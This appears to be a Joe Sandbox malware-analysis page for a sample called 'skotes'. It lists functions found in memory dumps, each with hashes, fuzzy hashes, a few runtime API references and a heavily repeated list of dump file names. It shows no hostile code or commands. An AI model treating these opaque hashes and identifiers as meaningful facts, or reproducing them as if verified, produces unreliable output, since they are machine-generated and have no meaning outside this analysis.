Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: ff2ff9183cb3be36ea9aadb54b22674a822b6714d29b2896e95807020aaa4e8a
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 02F10B71E012199FDF14CFA8C980BADBBB1FF48314F25826DE915B7345D731AA428B94

Function 00E9CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00E9CF52,?,?,?,?,00E9CF87,?,?,?,?,?,?,00E9C4FD,?,00000001), ref: 00E9CC03

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 5adcbd3bb3f2764f9db7cd8625d0c0d0e05c6e00675fb1657ce6967a9c2d66f0
Instruction ID: 3b72c80eab11c691d1f15371104f8823c226b6a8e5631ac740c8571c629ebdbc
Opcode Fuzzy Hash: 5adcbd3bb3f2764f9db7cd8625d0c0d0e05c6e00675fb1657ce6967a9c2d66f0
Instruction Fuzzy Hash: DDD022326031389B8E123B85EC408EDFF48DB00B587041012F90937120CA626C00CBE4

Function 00EB7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00EB80B2

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 04be83be1635c9623e3f254625b4ceae0629c5f5b8107451fb6113323fc7a124
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 0F51AD303086049AEB385A2C8A957FF67DE5B91388F143519E4C2F77C2CD21DD49C25A

Function 00E84DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a946d9e5532f30865af929bfd77c9f7ef92d2346ce81ad0dffa16c4311236a75
Instruction ID: 97066e0eee54448e8fe346bd07b43590a1d3c6bc06979945d6017788c3197365
Opcode Fuzzy Hash: a946d9e5532f30865af929bfd77c9f7ef92d2346ce81ad0dffa16c4311236a75
Instruction Fuzzy Hash: CD2261B3F515144BDB0CCB5DDCA27ECB2E3AFD8214B0E903DA40AE3345EA79D9158A44

Function 00EC7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76e5566b9d3b15fdb20a9810cf25039b570e5a4ce5ed1562f985bcb573e19e96
Instruction ID: fd1d2e1333f0f73d2f58fbbca65de421ee0da844dea695776363b70e37e035d8
Opcode Fuzzy Hash: 76e5566b9d3b15fdb20a9810cf25039b570e5a4ce5ed1562f985bcb573e19e96
Instruction Fuzzy Hash: 88B115716146048FD718CF28C586FA57BA0FB45368F29965CE8DADF2A1C336E992CF40

Function 00E84B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e1947346775d93257f3129ad7111b1978c5bfa1f2fa9e0bb68f75694b33293
Instruction ID: 900c1a36dade61d5e6bc9dc439a1b2c195a5c4bb0433f3b9fd6e0c379e813407
Opcode Fuzzy Hash: 52e1947346775d93257f3129ad7111b1978c5bfa1f2fa9e0bb68f75694b33293
Instruction Fuzzy Hash: 9F8112B0A0024A8FEB15DF69D880BEEFBF5FB19300F141669D958B7392C3319945CBA0

Function 00EC78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782fa1c38730ed1bb7ea486283dd51072a5bf4f38dec4d7c006224f3f677b59a
Instruction ID: 272d871e4194edd20df92c66adcf40a95e2f4563af52fd38fb92fabcda5d4b2c
Opcode Fuzzy Hash: 782fa1c38730ed1bb7ea486283dd51072a5bf4f38dec4d7c006224f3f677b59a
Instruction Fuzzy Hash: 9421B673F204394B770CC47E8C5227DB6E1C78C541745423AF8A6EA2C1D968D917E2E4

Function 00EC779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4ff20f21d417d538549e36d7a6beaf8ba25bfc5dbec93257fb7fbfe35a8588
Instruction ID: b6050254ee6b8b35db948cce9039fddb8c12f5d25c953b520df99ad8ed6cbb24
Opcode Fuzzy Hash: cf4ff20f21d417d538549e36d7a6beaf8ba25bfc5dbec93257fb7fbfe35a8588
Instruction Fuzzy Hash: CB118A23F30C295B675C817D8C172BA95D2DBD825471F533ED826F7284E994DE13D290

Function 00EC8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d54cad881c8f2f7228e5de91e1478ab144aae7923b04353c1cc56a6001692ab6
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5711087720018253E60C862DCBB4FF7A795EAC53297EC637ED0426BF98DA2399479600

Function 00EB652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ea6302de6a8a1bbb2f62954e48b0f3a70701e80c12da0c7283bd0575303507b
Instruction ID: 2a7d370d8b94b5369e140e811a8e7627cd673b6df92e30dbfea58638b6a29541
Opcode Fuzzy Hash: 3ea6302de6a8a1bbb2f62954e48b0f3a70701e80c12da0c7283bd0575303507b
Instruction Fuzzy Hash: EBE08630143108AACE367F54C805E897BA9EB5174DF006814F90497126CB29ED51DA50

Function 00EBA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 56c04e80da90fe84a251ddc6dcf2808b41c314fe5af046dc5ee11f71dd7e3880
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 8DE08C32921228EBCB14DB98C9049CEF3ECEB49B00B6910AAF501E3150C270DE00C7D0

Function 00EB4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00EB4877
___except_validate_context_record.LIBVCRUNTIME ref: 00EB487F
_ValidateLocalCookies.LIBCMT ref: 00EB4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00EB4933
_ValidateLocalCookies.LIBCMT ref: 00EB4988

Strings

S9, xrefs: 00EB4925, 00EB492E, 00EB493F
csm, xrefs: 00EB491D

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9$csm
API String ID: 1170836740-3377438381
Opcode ID: c6923c12f66a5beeabb1d8dcafca8a82d9a6cee45431bc45106852f29f3c7bdd
Instruction ID: 3b2317296ab88954258add781efee217dadeae92069067ba849e11f630aeb311
Opcode Fuzzy Hash: c6923c12f66a5beeabb1d8dcafca8a82d9a6cee45431bc45106852f29f3c7bdd
Instruction Fuzzy Hash: 1151E471A0024A9BCF10DF68D881AEFBBF5AF45318F149055E918BB393D732D905CB91

Function 00E82EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00E82F5F
__Mtx_unlock.LIBCPMT ref: 00E82FCC
__Cnd_broadcast.LIBCPMT ref: 00E82FE3
__Mtx_unlock.LIBCPMT ref: 00E830F5
__Mtx_unlock.LIBCPMT ref: 00E8319B

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 928ed142dbbc08e4b45f7634f2afad58bc9c7fc3e19f14545135a510ceae6dc8
Instruction ID: b1f2e049c538f57b0ce09f9f7da6dd820ebf04dd5759ce07250a94de51a2854e
Opcode Fuzzy Hash: 928ed142dbbc08e4b45f7634f2afad58bc9c7fc3e19f14545135a510ceae6dc8
Instruction Fuzzy Hash: 06A1CFB0A01615AFDF20EF74C94475AB7E8BF15B18F14612AE81DF7291EB31EA04CB91

Function 00EBF35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00EBF3A3

Strings

8", xrefs: 00EBF44B
`', xrefs: 00EBF375
,m, xrefs: 00EBF367, 00EBF49B

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,m$8"$`'
API String ID: 3903695350-2708788664
Opcode ID: 7e8252d88e25836e43bfe9d1a915f852b3ffc5ed3ccba0a5f8b6c52f9c8fbb7c
Instruction ID: a3e1fa585b5e7afdab7ffd9a42511e69e66ee43f6052d16fab9764fc73c1cf1e
Opcode Fuzzy Hash: 7e8252d88e25836e43bfe9d1a915f852b3ffc5ed3ccba0a5f8b6c52f9c8fbb7c
Instruction Fuzzy Hash: CD313931600205EFEB21AA79DC45BDBB3E8EF4035EF186439E495F6595DE71AC808B21

Function 00EBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EBCC66

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
